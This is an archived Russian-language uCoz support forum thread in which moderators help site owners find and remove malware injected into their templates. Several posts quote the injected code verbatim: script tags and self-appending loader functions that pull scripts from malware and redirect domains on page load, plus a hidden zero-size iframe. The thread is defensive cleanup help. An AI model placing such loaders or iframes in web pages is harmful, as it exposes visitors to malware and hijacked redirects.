Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_3 (архив для чтения)
Вирусы на сайтах_3 (архив для чтения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1981 | 12:04:43 02 Май 2013
альма9186, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставьте скрипт

Код
<script language="javascript" src="http://uno.wt-rotator106.ru/?t=br&noadult=1&pid=49945"></script>


тоже самое проделайте с

Код
<script language="javascript" src="//?t=br&noadult=1&pid=49945"></script>


и обратите внимание на свой рип, который вы установили. там тьма ошибок несовместимых с жизнью хтмл. лучше стандартный шаблон, чем настолько покалеченный и низкосортный рип
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
альма9186
Сообщений: 3
Репутация: 0

Сообщение # 1982 | 15:15:51 02 Май 2013
Цитата
альма9186, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставьте скрипт

<script language="javascript" src="http://uno.wt-rotator106.ru/?t=br&noadult=1&pid=49945"></script>1

тоже самое проделайте с

<script language="javascript" src="//?t=br&noadult=1&pid=49945"></script>1

и обратите внимание на свой рип, который вы установили. там тьма ошибок несовместимых с жизнью хтмл. лучше стандартный шаблон, чем настолько покалеченный и низкосортный рип

Не сделано ни одной замены
Проверьте правильность заменяемого кода

Добавлено (02 Май 2013, 15:15:51)
---------------------------------------------
Извените если не в тему А как востоновить свой редактор сообщений в форуме? или поставить как тут

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1983 | 18:10:55 02 Май 2013
альма9186, если не произошло ни одной зиены, то открывайте шаблон форума и с помощью поиска браузера ищите скрипт

Код
<script language="javascript" src="http://uno.wt-rotator106.ru/?t=br&noadult=1&pid=49945"></script>
вручную. в поиск нужно вбивать

uno.wt-r

остальные вопросы точно не сюда, а сюда //forum.ucoz.ru/forum/31-46869-1
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Rangee
Сообщений: 12
Репутация: -14

Сообщение # 1984 | 09:19:55 03 Май 2013
//forum.ucoz.ru/forum/31-51440-1

На главной странице сайта вредоносное ПО! Как убрать подскажите пожалуйста?(( Столько денег начал уже тратить жалко сайтик терять..
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 1985 | 11:32:26 03 Май 2013
Rangee, по версии google

Цитата
На эту веб-страницу было вставлено содержание с properfection.ru, известного распространителя вредоносного ПО.
Rangee
Сообщений: 12
Репутация: -14

Сообщение # 1986 | 11:58:30 03 Май 2013
Вот хорошо что убрали)) хД а то и тут заблокировал гугл)) ыы вы уж извините))

Добавлено (03 Май 2013, 11:49:02)
---------------------------------------------
Офигеть из за 1 картинки вирус...

Добавлено (03 Май 2013, 11:58:30)
---------------------------------------------
Всё хорошо правдо почему то дизайн главной страницы полетел.. Щас делаю((

dima1999
Сообщений: 4
Репутация: 0

Сообщение # 1987 | 13:34:50 03 Май 2013
Помошите пожалуйсто
При заходе на сайт появляется реклама по середине , и типа вк сбоку(
http://soni-cs.com
Че то связано еще вроде ч этими банерами http://golink1.ru9.biz/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1988 | 14:44:59 03 Май 2013
dima1999,
Цитата
Че то связано еще вроде ч этими банерами http://golink1.ru9.biz/
вот это чето связанное вы уже убрали или это просто был поток мыслей.

реклама со всплывающими окнами у вас вшита в ваш рип

один

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  var s = "http://best.livelike.info/?";
  s += 234396 + "=6KHo7rrs9fihrqispKi6-vPu8f3o76H-7rry8_346fDooa0";
  script.src = s;
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
  })(window);
  </script>


и два

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  var s = "http://morph.like-magic.info/?";
  s += 213062 + "=MnsyNGA2LyJ7dXZycXZgICk0KycyNXs0KTJgKCknIjMqMnt3";
  script.src = s;
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
  })(window);
  </script>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 1989 | 14:48:19 03 Май 2013
dima1999, удаляйте еще скрипты

Код
<script type="text/javascript" src="http://s2s.ucoz.net/src/layer5.js"></script>
<script type="text/javascript" src="/js/scripts.js"></script>
admin3965
Сообщений: 4
Репутация: 0

Сообщение # 1990 | 18:22:16 03 Май 2013
Moi sait ne otkrivaetsya 2-3 den wot sait cicaxirvorapres.do.am antivirus skazal chto est virus chto nado delat sad
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1991 | 18:40:09 03 Май 2013
admin3965, вы собрали очень много ненужных и зараженных скриптов на сайт

Код
<script language="javascript" src="http://uno.wt-rotator2.ru/?t=br&noadult=1&pid=38637"></script>
удалить. на это реагируют почти все антивирусы

из формы входа удалить

Код
<iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
azl
Сообщений: 7
Репутация: 0

Сообщение # 1992 | 15:02:47 04 Май 2013
Добрый день.
С недавних пор возникла такая проблема на моем сайте http://azl.ucoz.com/

1. Открываю чей-либо профиль и после появления профиля, страница сайта переадресовывается на какую-то левую страницу (_http://vk_com.14.t1l.ru/?g6=qXCcsGOYqwFB/i/D4V+eq1lOqH+RplWFpFIax) зараженную вирусом, о чем сообщает мой антивирус Nod32 и блокирует страницу, при этом окно профиля остается. Это происходит при вызове профиля на форуме http://azl.ucoz.com/forum/ , из админки или из панели администрирования. Т.е., в любом месте, где бы я не вызвал чей-то профиль.

2. Такое происходит, как под логином, так и под гостем.

А вот сегодня уже пользователи начали жаловаться:
Цитата
когда перехожу по ссылке из почтового уведомления об ответах на вашем сайте, почему-то постоянно срабатывает переадресация на якобы
заблокированную страницу ВКонтакте.

3. Вот так реагирует Nod32:


4. Подобное происходит, как в Mozilla Firefox, так и в Comodo Dragon (мод Хрома). Думаю, в других браузерах такая же ситуация.

Никаких скриптов не прописывал. Большая просьба проверить сайт на вирусы.
Сообщение отредактировал azl - Суббота, 04 Май 2013, 15:08:54
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1993 | 15:21:23 04 Май 2013
azl, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляем скрипт

Код
<script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script>


поле на что заменить оставляем пустым и производим замену во всех модулях

тоже самое делаем с куском скрипта

Код
<script language="javascript" src="./js.php?s=54"></script>


далее меняем uid пароль
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Catrine
Сообщений: 35
Репутация: 7

Сообщение # 1994 | 18:54:03 04 Май 2013
Здравствуйте. Пожалуйста проверьте мой сайт на наличие вредоносных програм. Сегодня один из пользователей начал жаловаться что его не пускает на сайт. Вот ссылка на сайт: http://our-library.ucoz.net/ а вот скрин:
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1995 | 19:00:13 04 Май 2013
Catrine, скрипт кнопки вверх загружается с сайта, на который ругается яндекс

Код
<script src="http://programm-new.ucoz.ru/js/scrol.js" type="text/javascript"></script>
там на скрине кстати есть ответ на ваш вопрос. учитесь читать предупреждения
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_3 (архив для чтения)
Поиск: